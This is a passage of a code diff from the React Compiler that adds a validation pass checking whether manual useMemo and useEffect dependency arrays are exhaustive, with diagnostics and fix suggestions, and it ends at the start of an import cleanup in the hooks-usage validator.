+  eachInstructionLValue,
+  eachInstructionValueLValue,
+  eachInstructionValueOperand,
+  eachTerminalOperand,
+} from '../HIR/visitors';
+import {retainWhere} from '../Utils/utils';
+
+const DEBUG = false;
+
+/**
+ * Validates that existing manual memoization is exhaustive and does not
+ * have extraneous dependencies. The goal of the validation is to ensure
+ * that auto-memoization will not substantially change the behavior of
+ * the program:
+ * - If the manual dependencies were non-exhaustive (missing important deps)
+ *   then auto-memoization will include those dependencies, and cause the
+ *   value to update *more* frequently.
+ * - If the manual dependencies had extraneous deps, then auto memoization
+ *   will remove them and cause the value to update *less* frequently.
+ *
+ * The implementation compares the manual dependencies against the values
+ * actually used within the memoization function
+ * - For each value V referenced in the memo function, either:
+ *   - If the value is non-reactive *and* a known stable type, then the
+ *     value may optionally be specified as an exact dependency.
+ *   - Otherwise, report an error unless there is a manual dependency that will
+ *     invalidate whenever V invalidates. If `x.y.z` is referenced, there must
+ *     be a manual dependency for `x.y.z`, `x.y`, or `x`. Note that we assume
+ *     no interior mutability, ie we assume that any changes to inner paths must
+ *     always cause the other path to change as well.
+ * - Any dependencies that do not correspond to a value referenced in the memo
+ *   function are considered extraneous and throw an error
+ *
+ * ## TODO: Invalid, Complex Deps
+ *
+ * Handle cases where the user deps were not simple identifiers + property chains.
+ * We try to detect this in ValidateUseMemo but we miss some cases. The problem
+ * is that invalid forms can be value blocks or function calls that don't get
+ * removed by DCE, leaving a structure like:
+ *
+ * StartMemoize
+ * t0 = <value to memoize>
+ * ...non-DCE'd code for manual deps...
+ * FinishMemoize decl=t0
+ *
+ * When we go to compute the dependencies, we then think that the user's manual dep
+ * logic is part of what the memo computation logic.
+ */
+export function validateExhaustiveDependencies(fn: HIRFunction): void {
+  const env = fn.env;
+  const reactive = collectReactiveIdentifiersHIR(fn);
+
+  const temporaries: Map<IdentifierId, Temporary> = new Map();
+  for (const param of fn.params) {
+    const place = param.kind === 'Identifier' ? param : param.place;
+    temporaries.set(place.identifier.id, {
+      kind: 'Local',
+      identifier: place.identifier,
+      path: [],
+      context: false,
+      loc: place.loc,
+    });
+  }
+  let startMemo: StartMemoize | null = null;
+
+  function onStartMemoize(
+    value: StartMemoize,
+    dependencies: Set<InferredDependency>,
+    locals: Set<IdentifierId>,
+  ): void {
+    CompilerError.invariant(startMemo == null, {
+      reason: 'Unexpected nested memo calls',
+      loc: value.loc,
+    });
+    startMemo = value;
+    dependencies.clear();
+    locals.clear();
+  }
+  function onFinishMemoize(
+    value: FinishMemoize,
+    dependencies: Set<InferredDependency>,
+    locals: Set<IdentifierId>,
+  ): void {
+    CompilerError.invariant(
+      startMemo != null && startMemo.manualMemoId === value.manualMemoId,
+      {
+        reason: 'Found FinishMemoize without corresponding StartMemoize',
+        loc: value.loc,
+      },
+    );
+    if (env.config.validateExhaustiveMemoizationDependencies) {
+      visitCandidateDependency(value.decl, temporaries, dependencies, locals);
+      const inferred: Array<InferredDependency> = Array.from(dependencies);
+
+      const diagnostic = validateDependencies(
+        inferred,
+        startMemo.deps ?? [],
+        reactive,
+        startMemo.depsLoc,
+        ErrorCategory.MemoDependencies,
+        'all',
+      );
+      if (diagnostic != null) {
+        fn.env.recordError(diagnostic);
+        startMemo.hasInvalidDeps = true;
+      }
+    }
+
+    dependencies.clear();
+    locals.clear();
+    startMemo = null;
+  }
+
+  collectDependencies(
+    fn,
+    temporaries,
+    {
+      onStartMemoize,
+      onFinishMemoize,
+      onEffect: (inferred, manual, manualMemoLoc) => {
+        if (env.config.validateExhaustiveEffectDependencies === 'off') {
+          return;
+        }
+        if (DEBUG) {
+          console.log(Array.from(inferred, printInferredDependency));
+          console.log(Array.from(manual, printInferredDependency));
+        }
+        const manualDeps: Array<ManualMemoDependency> = [];
+        for (const dep of manual) {
+          if (dep.kind === 'Local') {
+            manualDeps.push({
+              root: {
+                kind: 'NamedLocal',
+                constant: false,
+                value: {
+                  effect: Effect.Read,
+                  identifier: dep.identifier,
+                  kind: 'Identifier',
+                  loc: dep.loc,
+                  reactive: reactive.has(dep.identifier.id),
+                },
+              },
+              path: dep.path,
+              loc: dep.loc,
+            });
+          } else {
+            manualDeps.push({
+              root: {
+                kind: 'Global',
+                identifierName: dep.binding.name,
+              },
+              path: [],
+              loc: GeneratedSource,
+            });
+          }
+        }
+        const effectReportMode =
+          typeof env.config.validateExhaustiveEffectDependencies === 'string'
+            ? env.config.validateExhaustiveEffectDependencies
+            : 'all';
+        const diagnostic = validateDependencies(
+          Array.from(inferred),
+          manualDeps,
+          reactive,
+          manualMemoLoc,
+          ErrorCategory.EffectExhaustiveDependencies,
+          effectReportMode,
+        );
+        if (diagnostic != null) {
+          fn.env.recordError(diagnostic);
+        }
+      },
+    },
+    false, // isFunctionExpression
+  );
+}
+
+function validateDependencies(
+  inferred: Array<InferredDependency>,
+  manualDependencies: Array<ManualMemoDependency>,
+  reactive: Set<IdentifierId>,
+  manualMemoLoc: SourceLocation | null,
+  category:
+    | ErrorCategory.MemoDependencies
+    | ErrorCategory.EffectExhaustiveDependencies,
+  exhaustiveDepsReportMode: 'all' | 'missing-only' | 'extra-only',
+): CompilerDiagnostic | null {
+  // Sort dependencies by name and path, with shorter/non-optional paths first
+  inferred.sort((a, b) => {
+    if (a.kind === 'Global' && b.kind == 'Global') {
+      return a.binding.name.localeCompare(b.binding.name);
+    } else if (a.kind == 'Local' && b.kind == 'Local') {
+      CompilerError.invariant(
+        a.identifier.name != null &&
+          a.identifier.name.kind === 'named' &&
+          b.identifier.name != null &&
+          b.identifier.name.kind === 'named',
+        {
+          reason: 'Expected dependencies to be named variables',
+          loc: a.loc,
+        },
+      );
+      if (a.identifier.id !== b.identifier.id) {
+        return a.identifier.name.value.localeCompare(b.identifier.name.value);
+      }
+      if (a.path.length !== b.path.length) {
+        // if a's path is shorter this returns a negative, sorting a first
+        return a.path.length - b.path.length;
+      }
+      for (let i = 0; i < a.path.length; i++) {
+        const aProperty = a.path[i];
+        const bProperty = b.path[i];
+        const aOptional = aProperty.optional ? 0 : 1;
+        const bOptional = bProperty.optional ? 0 : 1;
+        if (aOptional !== bOptional) {
+          // sort non-optionals first
+          return aOptional - bOptional;
+        } else if (aProperty.property !== bProperty.property) {
+          return String(aProperty.property).localeCompare(
+            String(bProperty.property),
+          );
+        }
+      }
+      return 0;
+    } else {
+      const aName =
+        a.kind === 'Global' ? a.binding.name : a.identifier.name?.value;
+      const bName =
+        b.kind === 'Global' ? b.binding.name : b.identifier.name?.value;
+      if (aName != null && bName != null) {
+        return aName.localeCompare(bName);
+      }
+      return 0;
+    }
+  });
+  // remove redundant inferred dependencies
+  retainWhere(inferred, (dep, ix) => {
+    const match = inferred.findIndex(prevDep => {
+      return (
+        isEqualTemporary(prevDep, dep) ||
+        (prevDep.kind === 'Local' &&
+          dep.kind === 'Local' &&
+          prevDep.identifier.id === dep.identifier.id &&
+          isSubPath(prevDep.path, dep.path))
+      );
+    });
+    // only retain entries that don't have a prior match
+    return match === -1 || match >= ix;
+  });
+  // Validate that all manual dependencies belong there
+  if (DEBUG) {
+    console.log('manual');
+    console.log(
+      manualDependencies
+        .map(x => '  ' + printManualMemoDependency(x))
+        .join('\n'),
+    );
+    console.log('inferred');
+    console.log(
+      inferred.map(x => '  ' + printInferredDependency(x)).join('\n'),
+    );
+  }
+  const matched: Set<ManualMemoDependency> = new Set();
+  const missing: Array<Extract<InferredDependency, {kind: 'Local'}>> = [];
+  const extra: Array<ManualMemoDependency> = [];
+  for (const inferredDependency of inferred) {
+    if (inferredDependency.kind === 'Global') {
+      for (const manualDependency of manualDependencies) {
+        if (
+          manualDependency.root.kind === 'Global' &&
+          manualDependency.root.identifierName ===
+            inferredDependency.binding.name
+        ) {
+          matched.add(manualDependency);
+          extra.push(manualDependency);
+        }
+      }
+      continue;
+    }
+    CompilerError.invariant(inferredDependency.kind === 'Local', {
+      reason: 'Unexpected function dependency',
+      loc: inferredDependency.loc,
+    });
+    /**
+     * Skip effect event functions as they are not valid dependencies
+     */
+    if (isEffectEventFunctionType(inferredDependency.identifier)) {
+      continue;
+    }
+    let hasMatchingManualDependency = false;
+    for (const manualDependency of manualDependencies) {
+      if (
+        manualDependency.root.kind === 'NamedLocal' &&
+        manualDependency.root.value.identifier.id ===
+          inferredDependency.identifier.id &&
+        (areEqualPaths(manualDependency.path, inferredDependency.path) ||
+          isSubPathIgnoringOptionals(
+            manualDependency.path,
+            inferredDependency.path,
+          ))
+      ) {
+        hasMatchingManualDependency = true;
+        matched.add(manualDependency);
+      }
+    }
+    if (
+      hasMatchingManualDependency ||
+      isOptionalDependency(inferredDependency, reactive)
+    ) {
+      continue;
+    }
+
+    missing.push(inferredDependency);
+  }
+
+  for (const dep of manualDependencies) {
+    if (matched.has(dep)) {
+      continue;
+    }
+    if (dep.root.kind === 'NamedLocal' && dep.root.constant) {
+      CompilerError.invariant(
+        !dep.root.value.reactive && isPrimitiveType(dep.root.value.identifier),
+        {
+          reason: 'Expected constant-folded dependency to be non-reactive',
+          loc: dep.root.value.loc,
+        },
+      );
+      /*
+       * Constant primitives can get constant-folded, which means we won't
+       * see a LoadLocal for the value within the memo function.
+       */
+      continue;
+    }
+    extra.push(dep);
+  }
+
+  // Filter based on report mode
+  const filteredMissing =
+    exhaustiveDepsReportMode === 'extra-only' ? [] : missing;
+  const filteredExtra =
+    exhaustiveDepsReportMode === 'missing-only' ? [] : extra;
+
+  if (filteredMissing.length !== 0 || filteredExtra.length !== 0) {
+    let suggestion: CompilerSuggestion | null = null;
+    if (
+      manualMemoLoc != null &&
+      typeof manualMemoLoc !== 'symbol' &&
+      manualMemoLoc.start.index != null &&
+      manualMemoLoc.end.index != null
+    ) {
+      suggestion = {
+        description: 'Update dependencies',
+        range: [manualMemoLoc.start.index, manualMemoLoc.end.index],
+        op: CompilerSuggestionOperation.Replace,
+        text: `[${inferred
+          .filter(
+            dep =>
+              dep.kind === 'Local' &&
+              !isOptionalDependency(dep, reactive) &&
+              !isEffectEventFunctionType(dep.identifier),
+          )
+          .map(printInferredDependency)
+          .join(', ')}]`,
+      };
+    }
+    const diagnostic = createDiagnostic(
+      category,
+      filteredMissing,
+      filteredExtra,
+      suggestion,
+    );
+    for (const dep of filteredMissing) {
+      let reactiveStableValueHint = '';
+      if (isStableType(dep.identifier)) {
+        reactiveStableValueHint =
+          '. Refs, setState functions, and other "stable" values generally do not need to be added ' +
+          'as dependencies, but this variable may change over time to point to different values';
+      }
+      diagnostic.withDetails({
+        kind: 'error',
+        message: `Missing dependency \`${printInferredDependency(dep)}\`${reactiveStableValueHint}`,
+        loc: dep.loc,
+      });
+    }
+    for (const dep of filteredExtra) {
+      if (dep.root.kind === 'Global') {
+        diagnostic.withDetails({
+          kind: 'error',
+          message:
+            `Unnecessary dependency \`${printManualMemoDependency(dep)}\`. ` +
+            'Values declared outside of a component/hook should not be listed as ' +
+            'dependencies as the component will not re-render if they change',
+          loc: dep.loc ?? manualMemoLoc,
+        });
+      } else {
+        const root = dep.root.value;
+        const matchingInferred = inferred.find(
+          (
+            inferredDep,
+          ): inferredDep is Extract<InferredDependency, {kind: 'Local'}> => {
+            return (
+              inferredDep.kind === 'Local' &&
+              inferredDep.identifier.id === root.identifier.id &&
+              isSubPathIgnoringOptionals(inferredDep.path, dep.path)
+            );
+          },
+        );
+        if (
+          matchingInferred != null &&
+          isEffectEventFunctionType(matchingInferred.identifier)
+        ) {
+          diagnostic.withDetails({
+            kind: 'error',
+            message:
+              `Functions returned from \`useEffectEvent\` must not be included in the dependency array. ` +
+              `Remove \`${printManualMemoDependency(dep)}\` from the dependencies.`,
+            loc: dep.loc ?? manualMemoLoc,
+          });
+        } else if (
+          matchingInferred != null &&
+          !isOptionalDependency(matchingInferred, reactive)
+        ) {
+          diagnostic.withDetails({
+            kind: 'error',
+            message:
+              `Overly precise dependency \`${printManualMemoDependency(dep)}\`, ` +
+              `use \`${printInferredDependency(matchingInferred)}\` instead`,
+            loc: dep.loc ?? manualMemoLoc,
+          });
+        } else {
+          /**
+           * Else this dependency doesn't correspond to anything referenced in the memo function,
+           * or is an optional dependency so we don't want to suggest adding it
+           */
+          diagnostic.withDetails({
+            kind: 'error',
+            message: `Unnecessary dependency \`${printManualMemoDependency(dep)}\``,
+            loc: dep.loc ?? manualMemoLoc,
+          });
+        }
+      }
+    }
+    if (suggestion != null) {
+      diagnostic.withDetails({
+        kind: 'hint',
+        message: `Inferred dependencies: \`${suggestion.text}\``,
+      });
+    }
+    return diagnostic;
+  }
+  return null;
+}
+
+function addDependency(
+  dep: Temporary,
+  dependencies: Set<InferredDependency>,
+  locals: Set<IdentifierId>,
+): void {
+  if (dep.kind === 'Aggregate') {
+    for (const x of dep.dependencies) {
+      addDependency(x, dependencies, locals);
+    }
+  } else if (dep.kind === 'Global') {
+    dependencies.add(dep);
+  } else if (!locals.has(dep.identifier.id)) {
+    dependencies.add(dep);
+  }
+}
+
+function visitCandidateDependency(
+  place: Place,
+  temporaries: Map<IdentifierId, Temporary>,
+  dependencies: Set<InferredDependency>,
+  locals: Set<IdentifierId>,
+): void {
+  const dep = temporaries.get(place.identifier.id);
+  if (dep != null) {
+    addDependency(dep, dependencies, locals);
+  }
+}
+
+/**
+ * This function determines the dependencies of the given function relative to
+ * its external context. Dependencies are collected eagerly, the first time an
+ * external variable is referenced, as opposed to trying to delay or aggregate
+ * calculation of dependencies until they are later "used".
+ *
+ * For example, in
+ *
+ * ```
+ * function f() {
+ *   let x = y; // we record a dependency on `y` here
+ *   ...
+ *   use(x); // as opposed to trying to delay that dependency until here
+ * }
+ * ```
+ *
+ * That said, LoadLocal/LoadContext does not immediately take a dependency,
+ * we store the dependency in a temporary and set it as used when that temporary
+ * is referenced as an operand.
+ *
+ * As we proceed through the function we track local variables that it creates
+ * and don't consider later references to these variables as dependencies.
+ *
+ * For function expressions we first collect the function's dependencies by
+ * calling this function recursively, _without_ taking into account whether
+ * the "external" variables it accesses are actually external or just locals
+ * in the parent. We then prune any locals and immediately consider any
+ * remaining externals that it accesses as a dependency:
+ *
+ * ```
+ * function Component() {
+ *   const local = ...;
+ *   const f = () => { return [external, local] };
+ * }
+ * ```
+ *
+ * Here we calculate `f` as having dependencies `external, `local` and save
+ * this into `temporaries`. We then also immediately take these as dependencies
+ * at the Component scope, at which point we filter out `local` as a local variable,
+ * leaving just a dependency on `external`.
+ *
+ * When calling this function on a top-level component or hook, the collected dependencies
+ * will only contain the globals that it accesses which isn't useful. Instead, passing
+ * onStartMemoize/onFinishMemoize callbacks allows looking at the dependencies within
+ * blocks of manual memoization.
+ */
+function collectDependencies(
+  fn: HIRFunction,
+  temporaries: Map<IdentifierId, Temporary>,
+  callbacks: {
+    onStartMemoize: (
+      startMemo: StartMemoize,
+      dependencies: Set<InferredDependency>,
+      locals: Set<IdentifierId>,
+    ) => void;
+    onFinishMemoize: (
+      finishMemo: FinishMemoize,
+      dependencies: Set<InferredDependency>,
+      locals: Set<IdentifierId>,
+    ) => void;
+    onEffect: (
+      inferred: Set<InferredDependency>,
+      manual: Set<InferredDependency>,
+      manualMemoLoc: SourceLocation | null,
+    ) => void;
+  } | null,
+  isFunctionExpression: boolean,
+): Extract<Temporary, {kind: 'Aggregate'}> {
+  const optionals = findOptionalPlaces(fn);
+  if (DEBUG) {
+    console.log(prettyFormat(optionals));
+  }
+  const locals: Set<IdentifierId> = new Set();
+  if (isFunctionExpression) {
+    for (const param of fn.params) {
+      const place = param.kind === 'Identifier' ? param : param.place;
+      locals.add(place.identifier.id);
+    }
+  }
+
+  const dependencies: Set<InferredDependency> = new Set();
+  function visit(place: Place): void {
+    visitCandidateDependency(place, temporaries, dependencies, locals);
+  }
+  for (const block of fn.body.blocks.values()) {
+    for (const phi of block.phis) {
+      const deps: Array<InferredDependency> = [];
+      for (const operand of phi.operands.values()) {
+        const dep = temporaries.get(operand.identifier.id);
+        if (dep == null) {
+          continue;
+        }
+        if (dep.kind === 'Aggregate') {
+          deps.push(...dep.dependencies);
+        } else {
+          deps.push(dep);
+        }
+      }
+      if (deps.length === 0) {
+        continue;
+      } else if (deps.length === 1) {
+        temporaries.set(phi.place.identifier.id, deps[0]!);
+      } else {
+        temporaries.set(phi.place.identifier.id, {
+          kind: 'Aggregate',
+          dependencies: new Set(deps),
+        });
+      }
+    }
+
+    for (const instr of block.instructions) {
+      const {lvalue, value} = instr;
+      switch (value.kind) {
+        case 'LoadGlobal': {
+          temporaries.set(lvalue.identifier.id, {
+            kind: 'Global',
+            binding: value.binding,
+          });
+          break;
+        }
+        case 'LoadContext':
+        case 'LoadLocal': {
+          const temp = temporaries.get(value.place.identifier.id);
+          if (temp != null) {
+            if (temp.kind === 'Local') {
+              const local: Temporary = {...temp, loc: value.place.loc};
+              temporaries.set(lvalue.identifier.id, local);
+            } else {
+              temporaries.set(lvalue.identifier.id, temp);
+            }
+            if (locals.has(value.place.identifier.id)) {
+              locals.add(lvalue.identifier.id);
+            }
+          }
+          break;
+        }
+        case 'DeclareLocal': {
+          const local: Temporary = {
+            kind: 'Local',
+            identifier: value.lvalue.place.identifier,
+            path: [],
+            context: false,
+            loc: value.lvalue.place.loc,
+          };
+          temporaries.set(value.lvalue.place.identifier.id, local);
+          locals.add(value.lvalue.place.identifier.id);
+          break;
+        }
+        case 'StoreLocal': {
+          if (value.lvalue.place.identifier.name == null) {
+            const temp = temporaries.get(value.value.identifier.id);
+            if (temp != null) {
+              temporaries.set(value.lvalue.place.identifier.id, temp);
+            }
+            break;
+          }
+          visit(value.value);
+          if (value.lvalue.kind !== InstructionKind.Reassign) {
+            const local: Temporary = {
+              kind: 'Local',
+              identifier: value.lvalue.place.identifier,
+              path: [],
+              context: false,
+              loc: value.lvalue.place.loc,
+            };
+            temporaries.set(value.lvalue.place.identifier.id, local);
+            locals.add(value.lvalue.place.identifier.id);
+          }
+          break;
+        }
+        case 'DeclareContext': {
+          const local: Temporary = {
+            kind: 'Local',
+            identifier: value.lvalue.place.identifier,
+            path: [],
+            context: true,
+            loc: value.lvalue.place.loc,
+          };
+          temporaries.set(value.lvalue.place.identifier.id, local);
+          break;
+        }
+        case 'StoreContext': {
+          visit(value.value);
+          if (value.lvalue.kind !== InstructionKind.Reassign) {
+            const local: Temporary = {
+              kind: 'Local',
+              identifier: value.lvalue.place.identifier,
+              path: [],
+              context: true,
+              loc: value.lvalue.place.loc,
+            };
+            temporaries.set(value.lvalue.place.identifier.id, local);
+            locals.add(value.lvalue.place.identifier.id);
+          }
+          break;
+        }
+        case 'Destructure': {
+          visit(value.value);
+          if (value.lvalue.kind !== InstructionKind.Reassign) {
+            for (const lvalue of eachInstructionValueLValue(value)) {
+              const local: Temporary = {
+                kind: 'Local',
+                identifier: lvalue.identifier,
+                path: [],
+                context: false,
+                loc: lvalue.loc,
+              };
+              temporaries.set(lvalue.identifier.id, local);
+              locals.add(lvalue.identifier.id);
+            }
+          }
+          break;
+        }
+        case 'PropertyLoad': {
+          if (
+            typeof value.property === 'number' ||
+            (isUseRefType(value.object.identifier) &&
+              value.property === 'current')
+          ) {
+            visit(value.object);
+            break;
+          }
+          const object = temporaries.get(value.object.identifier.id);
+          if (object != null && object.kind === 'Local') {
+            const optional = optionals.get(value.object.identifier.id) ?? false;
+            const local: Temporary = {
+              kind: 'Local',
+              identifier: object.identifier,
+              context: object.context,
+              path: [
+                ...object.path,
+                {
+                  optional,
+                  property: value.property,
+                  loc: value.loc,
+                },
+              ],
+              loc: value.loc,
+            };
+            temporaries.set(lvalue.identifier.id, local);
+          }
+          break;
+        }
+        case 'FunctionExpression':
+        case 'ObjectMethod': {
+          const functionDeps = collectDependencies(
+            value.loweredFunc.func,
+            temporaries,
+            null,
+            true, // isFunctionExpression
+          );
+          temporaries.set(lvalue.identifier.id, functionDeps);
+          addDependency(functionDeps, dependencies, locals);
+          break;
+        }
+        case 'StartMemoize': {
+          const onStartMemoize = callbacks?.onStartMemoize;
+          if (onStartMemoize != null) {
+            onStartMemoize(value, dependencies, locals);
+          }
+          break;
+        }
+        case 'FinishMemoize': {
+          const onFinishMemoize = callbacks?.onFinishMemoize;
+          if (onFinishMemoize != null) {
+            onFinishMemoize(value, dependencies, locals);
+          }
+          break;
+        }
+        case 'ArrayExpression': {
+          const arrayDeps: Set<InferredDependency> = new Set();
+          for (const item of value.elements) {
+            if (item.kind === 'Hole') {
+              continue;
+            }
+            const place = item.kind === 'Identifier' ? item : item.place;
+            // Visit with alternative deps/locals to record manual dependencies
+            visitCandidateDependency(place, temporaries, arrayDeps, new Set());
+            // Visit normally to propagate inferred dependencies upward
+            visit(place);
+          }
+          temporaries.set(lvalue.identifier.id, {
+            kind: 'Aggregate',
+            dependencies: arrayDeps,
+            loc: value.loc,
+          });
+          break;
+        }
+        case 'CallExpression':
+        case 'MethodCall': {
+          const receiver =
+            value.kind === 'CallExpression' ? value.callee : value.property;
+
+          const onEffect = callbacks?.onEffect;
+          if (onEffect != null && isEffectHook(receiver.identifier)) {
+            const [fn, deps] = value.args;
+            if (fn?.kind === 'Identifier' && deps?.kind === 'Identifier') {
+              const fnDeps = temporaries.get(fn.identifier.id);
+              const manualDeps = temporaries.get(deps.identifier.id);
+              if (
+                fnDeps?.kind === 'Aggregate' &&
+                manualDeps?.kind === 'Aggregate'
+              ) {
+                onEffect(
+                  fnDeps.dependencies,
+                  manualDeps.dependencies,
+                  manualDeps.loc ?? null,
+                );
+              }
+            }
+          }
+
+          // Ignore the method itself
+          for (const operand of eachInstructionValueOperand(value)) {
+            if (
+              value.kind === 'MethodCall' &&
+              operand.identifier.id === value.property.identifier.id
+            ) {
+              continue;
+            }
+            visit(operand);
+          }
+          break;
+        }
+        default: {
+          for (const operand of eachInstructionValueOperand(value)) {
+            visit(operand);
+          }
+          for (const lvalue of eachInstructionLValue(instr)) {
+            locals.add(lvalue.identifier.id);
+          }
+        }
+      }
+    }
+    for (const operand of eachTerminalOperand(block.terminal)) {
+      if (optionals.has(operand.identifier.id)) {
+        continue;
+      }
+      visit(operand);
+    }
+  }
+  return {kind: 'Aggregate', dependencies};
+}
+
+function printInferredDependency(dep: InferredDependency): string {
+  switch (dep.kind) {
+    case 'Global': {
+      return dep.binding.name;
+    }
+    case 'Local': {
+      CompilerError.invariant(
+        dep.identifier.name != null && dep.identifier.name.kind === 'named',
+        {
+          reason: 'Expected dependencies to be named variables',
+          loc: dep.loc,
+        },
+      );
+      return `${dep.identifier.name.value}${dep.path.map(p => (p.optional ? '?' : '') + '.' + p.property).join('')}`;
+    }
+  }
+}
+
+function printManualMemoDependency(dep: ManualMemoDependency): string {
+  let identifierName: string;
+  if (dep.root.kind === 'Global') {
+    identifierName = dep.root.identifierName;
+  } else {
+    const name = dep.root.value.identifier.name;
+    CompilerError.invariant(name != null && name.kind === 'named', {
+      reason: 'Expected manual dependencies to be named variables',
+      loc: dep.root.value.loc,
+    });
+    identifierName = name.value;
+  }
+  return `${identifierName}${dep.path.map(p => (p.optional ? '?' : '') + '.' + p.property).join('')}`;
+}
+
+function isEqualTemporary(a: Temporary, b: Temporary): boolean {
+  switch (a.kind) {
+    case 'Aggregate': {
+      return false;
+    }
+    case 'Global': {
+      return b.kind === 'Global' && a.binding.name === b.binding.name;
+    }
+    case 'Local': {
+      return (
+        b.kind === 'Local' &&
+        a.identifier.id === b.identifier.id &&
+        areEqualPaths(a.path, b.path)
+      );
+    }
+  }
+}
+
+type Temporary =
+  | {kind: 'Global'; binding: LoadGlobal['binding']}
+  | {
+      kind: 'Local';
+      identifier: Identifier;
+      path: DependencyPath;
+      context: boolean;
+      loc: SourceLocation;
+    }
+  | {
+      kind: 'Aggregate';
+      dependencies: Set<InferredDependency>;
+      loc?: SourceLocation;
+    };
+type InferredDependency = Extract<Temporary, {kind: 'Local' | 'Global'}>;
+
+function collectReactiveIdentifiersHIR(fn: HIRFunction): Set<IdentifierId> {
+  const reactive = new Set<IdentifierId>();
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      for (const lvalue of eachInstructionLValue(instr)) {
+        if (lvalue.reactive) {
+          reactive.add(lvalue.identifier.id);
+        }
+      }
+      for (const operand of eachInstructionValueOperand(instr.value)) {
+        if (operand.reactive) {
+          reactive.add(operand.identifier.id);
+        }
+      }
+    }
+    for (const operand of eachTerminalOperand(block.terminal)) {
+      if (operand.reactive) {
+        reactive.add(operand.identifier.id);
+      }
+    }
+  }
+  return reactive;
+}
+
+export function findOptionalPlaces(
+  fn: HIRFunction,
+): Map<IdentifierId, boolean> {
+  const optionals = new Map<IdentifierId, boolean>();
+  const visited: Set<BlockId> = new Set();
+  for (const [, block] of fn.body.blocks) {
+    if (visited.has(block.id)) {
+      continue;
+    }
+    if (block.terminal.kind === 'optional') {
+      visited.add(block.id);
+      const optionalTerminal = block.terminal;
+      let testBlock = fn.body.blocks.get(block.terminal.test)!;
+      const queue: Array<boolean | null> = [block.terminal.optional];
+      loop: while (true) {
+        visited.add(testBlock.id);
+        const terminal = testBlock.terminal;
+        switch (terminal.kind) {
+          case 'branch': {
+            const isOptional = queue.pop();
+            CompilerError.invariant(isOptional !== undefined, {
+              reason:
+                'Expected an optional value for each optional test condition',
+              loc: terminal.test.loc,
+            });
+            if (isOptional != null) {
+              optionals.set(terminal.test.identifier.id, isOptional);
+            }
+            if (terminal.fallthrough === optionalTerminal.fallthrough) {
+              // found it
+              const consequent = fn.body.blocks.get(terminal.consequent)!;
+              const last = consequent.instructions.at(-1);
+              if (last !== undefined && last.value.kind === 'StoreLocal') {
+                if (isOptional != null) {
+                  optionals.set(last.value.value.identifier.id, isOptional);
+                }
+              }
+              break loop;
+            } else {
+              testBlock = fn.body.blocks.get(terminal.fallthrough)!;
+            }
+            break;
+          }
+          case 'optional': {
+            queue.push(terminal.optional);
+            testBlock = fn.body.blocks.get(terminal.test)!;
+            break;
+          }
+          case 'logical':
+          case 'ternary': {
+            queue.push(null);
+            testBlock = fn.body.blocks.get(terminal.test)!;
+            break;
+          }
+
+          case 'sequence': {
+            // Do we need sequence?? In any case, don't push to queue bc there is no corresponding branch terminal
+            testBlock = fn.body.blocks.get(terminal.block)!;
+            break;
+          }
+          case 'maybe-throw': {
+            testBlock = fn.body.blocks.get(terminal.continuation)!;
+            break;
+          }
+          default: {
+            CompilerError.invariant(false, {
+              reason: `Unexpected terminal in optional`,
+              message: `Unexpected ${terminal.kind} in optional`,
+              loc: terminal.loc,
+            });
+          }
+        }
+      }
+      CompilerError.invariant(queue.length === 0, {
+        reason:
+          'Expected a matching number of conditional blocks and branch points',
+        loc: block.terminal.loc,
+      });
+    }
+  }
+  return optionals;
+}
+
+function isOptionalDependency(
+  inferredDependency: Extract<InferredDependency, {kind: 'Local'}>,
+  reactive: Set<IdentifierId>,
+): boolean {
+  return (
+    !reactive.has(inferredDependency.identifier.id) &&
+    (isStableType(inferredDependency.identifier) ||
+      isPrimitiveType(inferredDependency.identifier))
+  );
+}
+
+function createDiagnostic(
+  category:
+    | ErrorCategory.MemoDependencies
+    | ErrorCategory.EffectExhaustiveDependencies,
+  missing: Array<InferredDependency>,
+  extra: Array<ManualMemoDependency>,
+  suggestion: CompilerSuggestion | null,
+): CompilerDiagnostic {
+  let reason: string;
+  let description: string;
+
+  function joinMissingExtraDetail(
+    missingString: string,
+    extraString: string,
+    joinStr: string,
+  ): string {
+    return [
+      missing.length !== 0 ? missingString : null,
+      extra.length !== 0 ? extraString : null,
+    ]
+      .filter(Boolean)
+      .join(joinStr);
+  }
+
+  switch (category) {
+    case ErrorCategory.MemoDependencies: {
+      reason = `Found ${joinMissingExtraDetail('missing', 'extra', '/')} memoization dependencies`;
+      description = joinMissingExtraDetail(
+        'Missing dependencies can cause a value to update less often than it should, resulting in stale UI',
+        'Extra dependencies can cause a value to update more often than it should, resulting in performance' +
+          ' problems such as excessive renders or effects firing too often',
+        '. ',
+      );
+      break;
+    }
+    case ErrorCategory.EffectExhaustiveDependencies: {
+      reason = `Found ${joinMissingExtraDetail('missing', 'extra', '/')} effect dependencies`;
+      description = joinMissingExtraDetail(
+        'Missing dependencies can cause an effect to fire less often than it should',
+        'Extra dependencies can cause an effect to fire more often than it should, resulting' +
+          ' in performance problems such as excessive renders and side effects',
+        '. ',
+      );
+      break;
+    }
+    default: {
+      CompilerError.invariant(false, {
+        reason: `Unexpected error category: ${category}`,
+        loc: GeneratedSource,
+      });
+    }
+  }
+
+  return CompilerDiagnostic.create({
+    category,
+    reason,
+    description,
+    suggestions: suggestion != null ? [suggestion] : null,
+  });
+}
+
+export function isEffectHook(identifier: Identifier): boolean {
+  return (
+    isUseEffectHookType(identifier) ||
+    isUseLayoutEffectHookType(identifier) ||
+    isUseInsertionEffectHookType(identifier)
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateHooksUsage.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateHooksUsage.ts
index 28819f2cd043..a243929ddefd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateHooksUsage.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateHooksUsage.ts
@@ -5,27 +5,23 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import * as t from "@babel/types";
-import {
-  CompilerError,
-  CompilerErrorDetail,
-  ErrorSeverity,
-} from "../CompilerError";
-import { computeUnconditionalBlocks } from "../HIR/ComputeUnconditionalBlocks";
-import { isHookName } from "../HIR/Environment";
+import * as t from '@babel/types';
+import {CompilerErrorDetail, ErrorCategory} from '../CompilerError';
+import {computeUnconditionalBlocks} from '../HIR/ComputeUnconditionalBlocks';
+import {Environment, isHookName} from '../HIR/Environment';
 import {
   HIRFunction,
   IdentifierId,
   Place,
   SourceLocation,
   getHookKind,
-} from "../HIR/HIR";
